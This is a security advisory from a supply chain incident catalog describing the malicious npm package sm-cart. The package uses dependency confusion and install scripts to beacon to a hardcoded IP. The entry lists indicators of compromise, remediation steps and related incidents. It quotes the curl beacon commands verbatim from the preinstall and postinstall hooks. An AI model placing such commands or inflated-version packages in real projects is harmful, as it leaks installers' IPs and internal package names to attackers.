Malicious code in sm-cart (npm)
Malicious npm package sm-cart (versions 99.0.0 and 99.0.1) uses dependency confusion and preinstall/postinstall scripts to beacon to a hardcoded IP address (16.192.173.5) over plain HTTP, disclosing the installing host's public IP and successful installation. The package is designed to win resolution when an organization has an internal package with the same name.
- Disclosed
- Last updated
- Blast radius
- Any organization with an internal package named 'sm-cart' whose build system resolves to the public npm registry; hosts installing the malicious package beacon their public IP and installation success to 16.192.173.5.
- Ecosystems
- Attack vectors
- Affected entities
- sm-cart · 99.0.0, 99.0.1
The npm package sm-cart versions 99.0.0 and 99.0.1 contain malicious preinstall and postinstall scripts that execute curl -s http://16.192.173.5/sm-cart/pre and curl -s http://16.192.173.5/sm-cart/post unconditionally on every install. The package contains no functional code—its index.js only logs and exports an empty object.
The package self-identifies in its manifest as a 'dependency confusion test' and uses an implausibly high version number (99.0.0/99.0.1) designed to win private-name resolution when an organization has an internal package also named 'sm-cart'. This is a classic dependency confusion attack vector.
When a build system whose internal 'sm-cart' resolves to this public package installs it, the operator of 16.192.173.5 receives disclosure of the internal package name, the host's public IP address, and confirmation of successful installation. The malicious scripts use plain HTTP, making the communication unencrypted.
The malicious behavior was identified by both Amazon Inspector and the OpenSSF Package Analysis project.
Indicators of compromise
- Packages
- sm-cart@99.0.0
- sm-cart@99.0.1
- IPs
- 16.192.173.5
Remediation
- Remove sm-cart versions 99.0.0 and 99.0.1 from any build environments or dependency caches
- Audit npm install logs and network traffic for connections to 16.192.173.5 to identify affected hosts
- If your organization has an internal package named 'sm-cart', ensure your build system is configured to resolve to your private registry with higher priority than the public npm registry
- Review and restrict outbound HTTP connections from build systems to prevent similar attacks
- Monitor for any suspicious activity or data exfiltration from hosts that may have installed the malicious package
Sources
- GitHub Advisory GHSA-hm6h-363f-fpgf · GitHub Advisory Database
Cite this entry
"Malicious code in sm-cart (npm)." supplychainattack.org, Supply Chain Attack Incident Catalog. Disclosed August 24, 2026; last updated August 24, 2026. https://supplychainattack.org/incident/malicious-code-in-sm-cart-npm-1b959a
Suggest a correction
Found an error or have a newer source? Corrections to factual errors take priority over new entries.
Related incidents
- containedcritical
Malicious code in amundi-compare (npm)
Malicious npm package amundi-compare@999.9.12 published at an inflated version number as a dependency-confusion attack. The package executes a preinstall hook that exfiltrates system and project metadata via HTTP, HTTPS, and DNS covert channels to da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.fun.
npmCompromised packageDependency confusion - resolvedcritical
Malicious code in fund-calculator (npm)
Malicious npm package fund-calculator (version 999.9.12) contained a preinstall script that collected system and project metadata from installers and exfiltrated it via HTTP, HTTPS, and DNS to a hardcoded callback domain. The package was designed as a dependency-confusion attack to shadow an internal private package.
npmCompromised packageDependency confusion - activecritical
Malicious code in sm-billing-form (npm)
Malicious npm package sm-billing-form (versions 99.0.0 and 99.0.1) contains preinstall and postinstall lifecycle scripts that execute curl commands to a hardcoded IP address (16.192.173.5) over cleartext HTTP, exfiltrating install environment details. The high version number and behavior pattern indicate a dependency-confusion attack targeting internal packages of the same name.
npmCompromised packageDependency confusion - containedcritical
Malicious code in sm-admin (npm)
Malicious npm package sm-admin versions 99.0.0 and 99.0.1 contained preinstall and postinstall lifecycle scripts that made plain-HTTP GET requests to attacker-controlled endpoints, exfiltrating installer IP addresses and probing for private registry usage.
npmCompromised packageDependency confusion